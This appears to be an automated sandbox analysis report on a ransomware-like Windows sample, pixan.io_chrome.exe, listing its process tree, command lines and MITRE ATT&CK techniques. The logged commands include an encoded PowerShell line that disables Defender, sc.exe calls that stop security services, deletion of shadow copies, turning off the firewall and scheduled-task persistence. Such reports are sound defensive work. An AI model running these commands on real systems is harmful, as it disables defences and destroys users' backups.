PID 3264 wrote to memory of 5804	3264	pixan.io_chrome.exe	144
PID 3264 wrote to memory of 3700	3264	pixan.io_chrome.exe	145
PID 3264 wrote to memory of 4248	3264	pixan.io_chrome.exe	146
PID 3264 wrote to memory of 5884	3264	pixan.io_chrome.exe	147
PID 3264 wrote to memory of 3536	3264	pixan.io_chrome.exe	148
PID 3264 wrote to memory of 1936	3264	pixan.io_chrome.exe	153
PID 3264 wrote to memory of 2940	3264	pixan.io_chrome.exe	157
PID 4304 wrote to memory of 4900	4304	cmd.exe	158
PID 2668 wrote to memory of 3900	2668	cmd.exe	159
PID 5884 wrote to memory of 4472	5884	cmd.exe	160
PID 3700 wrote to memory of 1744	3700	cmd.exe	201
PID 3536 wrote to memory of 392	3536	cmd.exe	162
PID 4248 wrote to memory of 1440	4248	cmd.exe	163
PID 5804 wrote to memory of 2956	5804	cmd.exe	164
PID 3264 wrote to memory of 1444	3264	pixan.io_chrome.exe	165
PID 3264 wrote to memory of 1260	3264	pixan.io_chrome.exe	166
PID 1440 wrote to memory of 5348	1440	net.exe	167
PID 3264 wrote to memory of 1052	3264	pixan.io_chrome.exe	168
PID 3264 wrote to memory of 3408	3264	pixan.io_chrome.exe	171
PID 3264 wrote to memory of 5984	3264	pixan.io_chrome.exe	173
PID 3264 wrote to memory of 5740	3264	pixan.io_chrome.exe	174
PID 2668 wrote to memory of 4748	2668	cmd.exe	178
PID 1052 wrote to memory of 3012	1052	net.exe	179
PID 4156 wrote to memory of 712	4156	chrome.exe	180
PID 4156 wrote to memory of 5180	4156	chrome.exe	182
PID 4156 wrote to memory of 3744	4156	chrome.exe	181
PID 4156 wrote to memory of 5180	4156	chrome.exe	182
PID 4156 wrote to memory of 3744	4156	chrome.exe	181

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\pixan.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\pixan.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3264
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://pixan.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4156
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffe245ec728,0x7ffe245ec734,0x7ffe245ec740
    3⤵
    PID:1308
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,3014176161271965766,762156631753781904,262144 --field-trial-handle=1912,i,12156663863409465518,304936796070973354,262144 --variations-seed-version --mojo-platform-channel-handle=1908 /prefetch:2
    3⤵
    PID:1680
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,17673721542114913054,9036120024365937954,524288 --field-trial-handle=1912,i,12156663863409465518,304936796070973354,262144 --variations-seed-version --mojo-platform-channel-handle=2064 /prefetch:11
    3⤵
    - System Time Discovery
    PID:1648
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2292,i,11069083408250857234,15769085948313192734,524288 --field-trial-handle=1912,i,12156663863409465518,304936796070973354,262144 --variations-seed-version --mojo-platform-channel-handle=2300 /prefetch:13
    3⤵
    PID:4496
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3168,i,18181006839190604628,525338757693661306,2097152 --field-trial-handle=1912,i,12156663863409465518,304936796070973354,262144 --variations-seed-version --mojo-platform-channel-handle=3188 /prefetch:1
    3⤵
    PID:3848
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3152,i,8893209895617512697,10370760908658724174,2097152 --field-trial-handle=1912,i,12156663863409465518,304936796070973354,262144 --variations-seed-version --mojo-platform-channel-handle=3164 /prefetch:1
    3⤵
    PID:5768
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4672,i,2427278858128486115,16472758571147992711,524288 --field-trial-handle=1912,i,12156663863409465518,304936796070973354,262144 --variations-seed-version --mojo-platform-channel-handle=4556 /prefetch:14
    3⤵
    PID:1088
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4852,i,9346365517834743447,8942291875388284239,2097152 --field-trial-handle=1912,i,12156663863409465518,304936796070973354,262144 --variations-seed-version --mojo-platform-channel-handle=4832 /prefetch:1
    3⤵
    PID:2324
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5664,i,3985233312457919820,489493737874371285,524288 --field-trial-handle=1912,i,12156663863409465518,304936796070973354,262144 --variations-seed-version --mojo-platform-channel-handle=5668 /prefetch:14
    3⤵
    PID:712
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5792,i,17840807222575225448,3753376504210958320,2097152 --field-trial-handle=1912,i,12156663863409465518,304936796070973354,262144 --variations-seed-version --mojo-platform-channel-handle=5796 /prefetch:1
    3⤵
    PID:3744
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=3304,i,5956304431680611042,7145370450530420591,2097152 --field-trial-handle=1912,i,12156663863409465518,304936796070973354,262144 --variations-seed-version --mojo-platform-channel-handle=5768 /prefetch:1
    3⤵
    PID:5180
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=3312,i,4201571396122297359,6455452085586565202,2097152 --field-trial-handle=1912,i,12156663863409465518,304936796070973354,262144 --variations-seed-version --mojo-platform-channel-handle=6016 /prefetch:1
    3⤵
    PID:5556
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=6120,i,3948048531574390347,17837627403146708973,2097152 --field-trial-handle=1912,i,12156663863409465518,304936796070973354,262144 --variations-seed-version --mojo-platform-channel-handle=3336 /prefetch:1
    3⤵
    PID:828
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5316,i,17373917883130575026,6015110497367332205,524288 --field-trial-handle=1912,i,12156663863409465518,304936796070973354,262144 --variations-seed-version --mojo-platform-channel-handle=6216 /prefetch:14
    3⤵
    PID:3484
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5240,i,18376108958484560674,12456132241211729124,2097152 --field-trial-handle=1912,i,12156663863409465518,304936796070973354,262144 --variations-seed-version --mojo-platform-channel-handle=5784 /prefetch:1
    3⤵
    PID:2704
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6256,i,9271780719414102633,14676930475952601936,2097152 --field-trial-handle=1912,i,12156663863409465518,304936796070973354,262144 --variations-seed-version --mojo-platform-channel-handle=6120 /prefetch:1
    3⤵
    PID:3788
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5660,i,12427812497711832027,7034962378933734993,524288 --field-trial-handle=1912,i,12156663863409465518,304936796070973354,262144 --variations-seed-version --mojo-platform-channel-handle=5124 /prefetch:14
    3⤵
    PID:320
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6532,i,4581312753026081476,1858068596666247456,2097152 --field-trial-handle=1912,i,12156663863409465518,304936796070973354,262144 --variations-seed-version --mojo-platform-channel-handle=5752 /prefetch:1
    3⤵
    PID:324
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5292,i,5621047159436630670,4260491734379844803,524288 --field-trial-handle=1912,i,12156663863409465518,304936796070973354,262144 --variations-seed-version --mojo-platform-channel-handle=5784 /prefetch:14
    3⤵
    PID:5332
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=5660,i,13758123915487487171,8854020976481946652,2097152 --field-trial-handle=1912,i,12156663863409465518,304936796070973354,262144 --variations-seed-version --mojo-platform-channel-handle=6256 /prefetch:1
    3⤵
    PID:5656
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=4892,i,6752002891912630357,17148638581548467961,2097152 --field-trial-handle=1912,i,12156663863409465518,304936796070973354,262144 --variations-seed-version --mojo-platform-channel-handle=5984 /prefetch:1
    3⤵
    PID:3064
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=6424,i,17875453782196790388,13166988997491220743,2097152 --field-trial-handle=1912,i,12156663863409465518,304936796070973354,262144 --variations-seed-version --mojo-platform-channel-handle=4976 /prefetch:9
    3⤵
    PID:2468
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5748,i,10324671414711313814,7723798990320820925,524288 --field-trial-handle=1912,i,12156663863409465518,304936796070973354,262144 --variations-seed-version --mojo-platform-channel-handle=5800 /prefetch:14
    3⤵
    PID:4476
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5956,i,567143507553292831,8082506937644921816,524288 --field-trial-handle=1912,i,12156663863409465518,304936796070973354,262144 --variations-seed-version --mojo-platform-channel-handle=6072 /prefetch:14
    3⤵
    PID:2964
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5916,i,14123985092386864790,1498565532794929416,524288 --field-trial-handle=1912,i,12156663863409465518,304936796070973354,262144 --variations-seed-version --mojo-platform-channel-handle=3332 /prefetch:14
    3⤵
    PID:324
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=900,i,10025984921374123458,11977509347049067973,262144 --field-trial-handle=1912,i,12156663863409465518,304936796070973354,262144 --variations-seed-version --mojo-platform-channel-handle=5668 /prefetch:10
    3⤵
    PID:4940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4676
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2956
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5324
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:5936
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:1232
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:1664
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:6012
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:5720
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4512
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1940
- - C:\Users\Admin\AppData\Local\Temp\pixan.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\pixan.io_chrome.exe"
    3⤵
    PID:1332
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5204
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2704
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3400
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3064
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2468
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\pixan.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5440
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\pixan.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2668
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3900
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4748
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:1200
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4304
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4900
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5804
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:2956
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3700
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:1744
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4248
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1440
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:5348
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5884
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4472
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3536
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:392
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\pixan.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1936
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2940
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1444
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5936
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1260
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1052
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:3012
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:3408
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:5984
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:5740

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:828

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3684

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:3400

C:\Users\Admin\AppData\Local\Temp\pixan.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\pixan.io_chrome.exe
1⤵
PID:2028

C:\Users\Admin\AppData\Local\Temp\pixan.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\pixan.io_chrome.exe
1⤵
PID:3472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2588

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:3752

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:1744

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery